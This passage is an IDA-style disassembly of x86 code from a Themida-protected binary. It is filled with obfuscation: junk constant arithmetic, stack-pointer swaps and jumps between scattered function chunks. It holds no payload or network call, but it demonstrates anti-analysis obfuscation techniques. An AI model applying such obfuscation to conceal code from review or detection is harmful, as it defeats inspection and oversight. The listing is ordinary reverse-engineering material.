arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005603EB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561126 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00561187 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561587 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562F5F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563655 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005667BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566F67 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005677E7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005697A2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056A4CB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056AD45 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056AEC2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C194 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F6C0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005702BB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005742ED SIZE 00000017 BYTES

		push	ebp
		mov	ebp, 3C5F3394h
		and	ecx, ebp
		pop	ebp
		push	2311h
		mov	[esp+2+var_4+2], esi
		push	4C892385h
		pop	esi
		and	ecx, esi
		pop	esi
		shl	ecx, 7
		sub	esp, 4
		mov	[esp+2+var_4+2], ebx
		jmp	loc_566F67
sub_563DCB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_563DF6:				; CODE XREF: Themida_:00571528j
		sub	edx, 7D5B0B81h
		pop	eax
		push	ebx
		mov	ebx, 4F3A718Fh
		shr	ebx, 3
		jmp	loc_565128
; ---------------------------------------------------------------------------


loc_563E0B:				; CODE XREF: Themida_:005678C6j
		not	eax
		xor	eax, 89EDED9h
		xor	edi, eax
		jmp	loc_56CE56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_563E19:				; CODE XREF: sub_5678CB+96E7j
		mov	ebx, 18E40CDDh
		jmp	loc_571875
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5716F1


loc_563E23:				; CODE XREF: sub_5716F1-358Cj
		mov	ebx, 5FD00626h
		xor	ebx, 11D92503h
		neg	ebx
		add	ebx, 33F5F73h
		add	ebx, 19890397h
		shr	ebx, 3
		jmp	loc_57259C
; END OF FUNCTION CHUNK	FOR sub_5716F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_563E44:				; CODE XREF: sub_574656-10A8Fj
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_56D82D
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_563E50:				; CODE XREF: sub_56D464-14j
		add	esi, eax
		jmp	loc_570E43
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_563E57:				; CODE XREF: sub_574CBE-944Aj
		sub	esi, 0CD6C812Bh
		jmp	loc_564CC0
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_563E62:				; CODE XREF: sub_5610CE-29Ej
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		pop	esp
		push	6E63h
		mov	[esp+4+var_4], eax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_563E76:				; CODE XREF: sub_564D26+1726j
		xor	[esp+1Ch+var_1C], edi
		xor	edi, [esp+1Ch+var_1C]
		pop	esp
		xor	edx, [esp+18h+var_18]
		xor	[esp+18h+var_18], edx
		xor	edx, [esp+18h+var_18]
		pop	esp
		push	7B48h
		mov	[esp+18h+var_18], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], edi
		jmp	loc_573CF7
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------


loc_563EAA:				; CODE XREF: Themida_:00565123j
		push	246E0DF2h
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 5
		or	ebp, 51933FB6h
		push	ecx
		mov	ecx, 4FBD65BFh
		push	edi
		mov	edi, 0
		sub	edi, ecx
		xchg	edi, ecx
		pop	edi
		xor	ecx, 15A021A7h
		or	ecx, 3E996CACh
		xor	ecx, 51974486h
		add	ecx, 51FC4CC6h
		xor	ecx, 75C86BA3h
		sub	ebp, ecx
		pop	ecx
		push	ebp
		xor	dword ptr [esp], 4E1B39F2h
		pop	edi
		xor	edi, 4E1B39F2h
		pop	ebp
		sub	ebx, edi
		pop	edi
		add	ebx, 0B8BC15E0h
		mov	edi, ebx
		pop	ebx
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_563F1E:				; CODE XREF: sub_565B6E+93A4j
		add	ebp, 0BA4989CCh
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		push	6A6Dh
		mov	[esp+4+var_4], ecx
		push	5C38962Ah
		pop	ecx
		jmp	loc_565854
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_563F44:				; CODE XREF: sub_56651E-54A5j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	71FBh
		mov	[esp+8+var_8], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	6C5Eh
		mov	[esp+8+var_8], ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_570BFB
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_563F70:				; CODE XREF: sub_5605BC+5288j
		push	3A7Ah
		mov	[esp+24h+var_24], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp+24h+var_24]
		push	edi
		jmp	loc_566D34
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ABD0


loc_563F88:				; CODE XREF: sub_56ABD0+25j
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		and	ebx, edi
		jmp	loc_572D71
; END OF FUNCTION CHUNK	FOR sub_56ABD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_563F95:				; CODE XREF: sub_5685B2+C4E3j
		not	ebx
		and	ebx, 443354Dh
		jmp	loc_5679FF
; END OF FUNCTION CHUNK	FOR sub_5685B2

; =============== S U B	R O U T	I N E =======================================



sub_563FA2	proc near		; DATA XREF: Themida_:0055FD10o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005613C9 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00562D55 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563317 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00564532 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005672C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005692AF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005695DD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056AD0A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AD55 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CC8D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D4F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571AC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572E93 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573D29 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00574846 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00574DAC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005753AE SIZE 00000008 BYTES

		mov	ax, [esp+0]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_562D55
sub_563FA2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_563FB4:				; CODE XREF: sub_57354D-B721j
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_5727AC
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_563FBE:				; CODE XREF: sub_56B71F-334Fj
		mov	ecx, 55885B38h
		shr	ecx, 2
		not	ecx
		not	ecx
		sub	ecx, 0BAACB20Fh
		or	edx, ecx
		pop	ecx
		and	edx, 46DE3DF7h
		neg	edx
		jmp	loc_568816
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565AFE


loc_563FE0:				; CODE XREF: sub_565AFE-CC2j
		xor	edi, 4B530F4Ch
		sub	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 0E2D7929h
		add	edx, ebx
		pop	ebx
		sub	edx, 12FF2468h
		add	edx, ecx
		add	edx, 12FF2468h
		sub	edx, 0E2D7929h
		add	edx, 1E9A0D33h
		add	edx, 5565240Ah
		jmp	loc_573430
; END OF FUNCTION CHUNK	FOR sub_565AFE

; =============== S U B	R O U T	I N E =======================================



sub_564017	proc near		; DATA XREF: Themida_:0055FE18o
		mov	ax, [esp+0]
		jmp	sub_56B577
sub_564017	endp


; =============== S U B	R O U T	I N E =======================================



sub_564020	proc near		; CODE XREF: sub_568CD2-7003j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056069B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056165D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562AA7 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00563449 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564393 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00567DFB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E1A5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E360 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056E968 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005703B6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00571AE7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00572C1D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00573349 SIZE 0000001B BYTES

		push	ebp
		mov	ebp, 6EB34C77h
		mov	ecx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		xor	eax, ecx
		pop	ecx
		mov	edi, eax
		jmp	loc_56E1A5
sub_564020	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56403B:				; CODE XREF: sub_56B11B+5ED5j
		sub	edx, eax
		pop	eax
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		jmp	loc_56E9B7
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_56404A:				; CODE XREF: sub_5666C3-34E8j
		add	eax, esi
		jmp	loc_568922
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DAB2


loc_564051:				; CODE XREF: sub_56DAB2+37D2j
		sub	ecx, 0C916E52Bh
		sub	eax, 2883079Bh
		sub	eax, ecx
		add	eax, 2883079Bh
		pop	ecx
		push	edx
		jmp	loc_573055
; END OF FUNCTION CHUNK	FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_56406A:				; CODE XREF: sub_572641+3E2j
		xor	bh, ah
		pop	eax
		and	dl, bh
		pop	ebx
		add	dl, 88h
		jmp	loc_56C42E
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_564078:				; CODE XREF: sub_56C3E2-4E05j
		mov	edx, edi
		pop	edi
		xor	ebx, edx
		jmp	loc_56E61B
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_564082:				; CODE XREF: sub_570FB7+2703j
		mov	[esp+0], ebx
		push	eax
		jmp	loc_571233
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56408B:				; CODE XREF: sub_5673C3-D0Ej
		add	edx, 73467F9Dh
		add	edx, ebx
		sub	edx, 73467F9Dh
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		mov	edi, 6B496CACh
		shr	edi, 5
		push	3A40h
		mov	[esp+0], ebp
		mov	ebp, 141938FDh
		sub	edi, ebp
		pop	ebp
		shr	edi, 7
		shl	edi, 4
		xor	edi, 0A9FEE349h
		add	edx, edi
		pop	edi
		add	ebp, 3E323620h
		jmp	loc_569CE4
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_5640D6:				; CODE XREF: sub_561F05+DC2Aj
		neg	edx
		neg	edx
		sub	edx, 0FFFFFFFFh
		add	edx, 0DE76CF77h
		add	esi, edx
		pop	edx
		jmp	loc_567FAC
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------


loc_5640EB:				; CODE XREF: Themida_:005730F8j
		pop	esi
		push	ebp
		jmp	loc_56FEE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5631A3


loc_5640F2:				; CODE XREF: sub_5631A3-26B1j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5631A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_5640F7:				; CODE XREF: sub_574656-D095j
		mov	esi, esp
		push	396h
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4
		jmp	loc_56E6A2
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_56410B:				; CODE XREF: sub_56C83E+6DC4j
		mov	eax, esp
		push	edx
		jmp	sub_564CDA
; ---------------------------------------------------------------------------


loc_564113:				; CODE XREF: sub_56C83E-4006j
		shr	ebp, 4
		add	ebp, 45185790h
		sub	ebx, ebp
		pop	ebp
		mov	edi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	edx, edi
		pop	edi
		dec	edx
		push	eax
		jmp	loc_57255B
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_564134:				; CODE XREF: sub_571088-1D5Aj
		mov	ebp, [esp+8+var_8]
		jmp	loc_5681C8
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5750DE


loc_56413C:				; CODE XREF: sub_5750DE-4C04j
		add	eax, 538F00CCh
		push	ecx
		mov	ecx, 1ECE33D2h
		add	eax, ecx
		push	[esp+4+var_4]
		jmp	loc_5743C8
; END OF FUNCTION CHUNK	FOR sub_5750DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_564151:				; CODE XREF: sub_57549C-12A92j
		inc	ecx
		jmp	loc_56FFE3
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_564157:				; CODE XREF: sub_567D31-2E7Ej
		add	edi, 4287A2Dh
		pop	ebp
		jmp	loc_571CDB
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_564163:				; CODE XREF: sub_561027+375Aj
		and	eax, esi
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	esi
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 3A0C121Ah
		push	esi
		mov	esi, 64434909h
		jmp	loc_56C4D7
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_564185:				; CODE XREF: sub_56B06D-96A6j
		pop	[esp+8+var_8]
		push	368Bh
		mov	[esp+8+var_8], esi
		push	edi
		mov	edi, 29064F3Bh
		add	edi, 0D6F9B0C9h
		mov	esi, edi
		pop	edi
		jmp	loc_56DCBE
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5641A4:				; CODE XREF: sub_571F6F-115BFj
		pop	ecx
		add	esp, 4
		push	1491h
		mov	[esp+8+var_8], ecx
		push	1870h
		mov	[esp+0Ch+var_E+2], edx
		push	ecx
		mov	cl, bh
		mov	dh, cl
		jmp	loc_560DE1
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_5641C5:				; CODE XREF: sub_566400-3563j
		push	edx
		push	eax
		jmp	loc_56A152
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_5641CC:				; CODE XREF: sub_563A7F+952Aj
		xor	bh, 0ADh
		xor	bh, 0Ah
		add	bh, 61h
		and	bh, 6Eh
		xor	bh, 8Ch
		xor	bh, 49h
		add	cl, bh
		jmp	loc_56AE85
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_5641E5:				; CODE XREF: sub_57146D-5C59j
		add	bl, al
		add	bl, 0E3h
		push	dx
		push	eax
		mov	al, 0B9h
		shl	al, 3
		inc	al
		jmp	loc_56B53C
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_5641F9:				; CODE XREF: sub_569CBC-4105j
		neg	ebx
		sub	ebx, 544E521Ah
		dec	ebx
		sub	ebx, 1
		jmp	sub_56F1DB
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_56420A:				; CODE XREF: sub_5648C6-338Aj
		push	4818h
		mov	[esp+4+var_4], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_560FB1
; END OF FUNCTION CHUNK	FOR sub_5648C6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56421E	proc near		; CODE XREF: sub_56CC46+2ED0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056D893 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_56D893
sub_56421E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56423D:				; CODE XREF: sub_571088-B1D4j
		sub	dh, bl
		pop	ebx
		sub	ah, 0Ch
		sub	ah, dh
		add	ah, 0Ch
		pop	edx
		jmp	loc_560738
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56424E:				; CODE XREF: sub_56B11B+8BEEj
		add	ecx, 348F715Dh
		jmp	loc_56E34E
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_564259:				; CODE XREF: sub_566AF9-52D8j
		mov	edx, esp
		push	ecx
		mov	ecx, 0A2E0C6Ah
		not	ecx
		and	ecx, 39F20EAFh
		jmp	loc_564449
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_56426E:				; CODE XREF: sub_5747D7-FD6Bj
		mov	eax, 4
		sub	[esp+8+var_4], 7B562AD3h
		add	[esp+8+var_4], eax
		add	[esp+8+var_4], 7B562AD3h
		pop	eax
		pop	ebx
		jmp	loc_57051A
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56428E:				; CODE XREF: sub_56AB5E-7883j
		pop	ax
		xor	dh, bh
		mov	ebx, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5690BD
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------


loc_5642AE:				; CODE XREF: Themida_:0056A603j
		xchg	edx, [esp]
		jmp	loc_571980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5642B6:				; CODE XREF: sub_569193+B846j
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_5690E0
; END OF FUNCTION CHUNK	FOR sub_569193

; =============== S U B	R O U T	I N E =======================================



sub_5642C7	proc near		; CODE XREF: sub_571289-5871j

; FUNCTION CHUNK AT 00560C8B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561B09 SIZE 00000011 BYTES

		push	ebp
		push	ebx
		mov	ebx, 4C94831h
		mov	ebp, ebx
		jmp	loc_560C8B
sub_5642C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5606E3


loc_5642D5:				; CODE XREF: sub_5606E3+57BDj
		mov	esi, 24B06559h
		add	edi, 18BF2857h
		add	edi, esi
		sub	edi, 18BF2857h
		mov	esi, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 8289A83Eh
		sub	edi, edx
		pop	edx
		mov	eax, edi
		mov	edi, [esp+0]
		jmp	loc_561F9C
; END OF FUNCTION CHUNK	FOR sub_5606E3
; ---------------------------------------------------------------------------


loc_564301:				; CODE XREF: Themida_:005663FBj
		push	esi
		jmp	loc_56D7E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C6A


loc_564307:				; CODE XREF: sub_570C6A-444Bj
		xor	esi, 258D2818h
		dec	esi
		push	edi
		mov	edi, 41E0A2B5h
		add	esi, edi
		pop	edi
		add	ebp, 27232158h
		sub	ebp, 534F4A02h
		add	ebp, 0B06198Bh
		add	ebp, esi
		sub	ebp, 0B06198Bh
		jmp	loc_573716
; END OF FUNCTION CHUNK	FOR sub_570C6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AE4B


loc_564336:				; CODE XREF: sub_56AE4B+12j
		pop	esp
		mov	[esp+0], eax
		push	44C6h
		jmp	loc_56C2B1
; END OF FUNCTION CHUNK	FOR sub_56AE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_564344:				; CODE XREF: sub_563207+668Ej
		xchg	eax, [esp+10h+var_10]
		pop	esp
		add	eax, 2
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		shl	byte ptr [esp+8+var_8],	cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_56435A:				; CODE XREF: sub_56C83E+852Fj
		sub	ebp, 9EE41CBh
		jmp	loc_56D76C
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_564365:				; CODE XREF: sub_57549C-B054j
		mov	edi, 650C4B0Fh
		jmp	loc_5677C0
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5729F9


loc_56436F:				; CODE XREF: sub_5729F9+1D80j
		add	bl, 0A9h
		sub	bl, 65h
		sub	al, bl
		pop	ebx
		sub	al, bh
		jmp	sub_571088
; END OF FUNCTION CHUNK	FOR sub_5729F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56437F:				; CODE XREF: sub_572141-8AE3j
		not	eax
		sub	eax, 6B70018h
		xor	eax, 8CA1A902h
		sub	ebp, eax
		pop	eax
		jmp	loc_56CA70
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_564393:				; CODE XREF: sub_564020-1545j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_563449
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_5643AB:				; CODE XREF: sub_56FB8A-46BDj
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		push	esi
		mov	esi, 76676289h
		jmp	loc_571F22
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_5643BF:				; CODE XREF: sub_56F782-8503j
		pop	esp
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_566A96
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_5643C9:				; CODE XREF: sub_564EBE+7828j
		pop	ebx
		jmp	loc_567F04
; END OF FUNCTION CHUNK	FOR sub_564EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_5643CF:				; CODE XREF: sub_570CE4-6E01j
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		jmp	loc_561EBA
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_5643DE:				; CODE XREF: sub_560EA2+73AFj
		mov	edi, 1A955822h
		add	eax, edi
		pop	edi
		jmp	loc_56B7F0
; END OF FUNCTION CHUNK	FOR sub_560EA2

; =============== S U B	R O U T	I N E =======================================



sub_5643EB	proc near		; CODE XREF: sub_56C38F-3419j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0056177A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056798F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A89D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056A9DE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056AD8E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B4AA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BF79 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056C9CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00570BD7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057536E SIZE 00000026 BYTES

		push	ebp
		jmp	loc_56AD8E
sub_5643EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_5643F1:				; CODE XREF: sub_574CDD-8F0Aj
		pop	esp
		add	ecx, 751A62D7h
		add	ecx, esi
		jmp	loc_5693D1
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5643FF:				; CODE XREF: sub_561027+10948j
		mov	esp, [esp+0Ch+var_C]
		push	2413h
		mov	[esp+10h+var_10], edx
		push	ebp
		mov	ebp, 41E74596h
		shl	ebp, 7
		push	5306h
		mov	[esp+18h+var_18], esi
		mov	esi, 7AE02531h
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		or	esi, 0F121DCh
		xor	esi, 0D873A913h
		push	ebp
		mov	ebp, 1FB0FAAh
		or	ebp, 63190F47h
		jmp	loc_5727E6
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680F2


loc_564441:				; CODE XREF: sub_5680F2+5A78j
		mov	[esp+0], ebx
		jmp	loc_56EDD0
; END OF FUNCTION CHUNK	FOR sub_5680F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_564449:				; CODE XREF: sub_566AF9-2890j
		add	ecx, 5FCE2309h
		sub	ecx, 919E258Ah
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_560536
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567049


loc_564467:				; CODE XREF: sub_567049-63C3j
		push	edx
		push	ebp
		push	77F03990h
		pop	ebp
		not	ebp
		neg	ebp
		jmp	loc_56912E
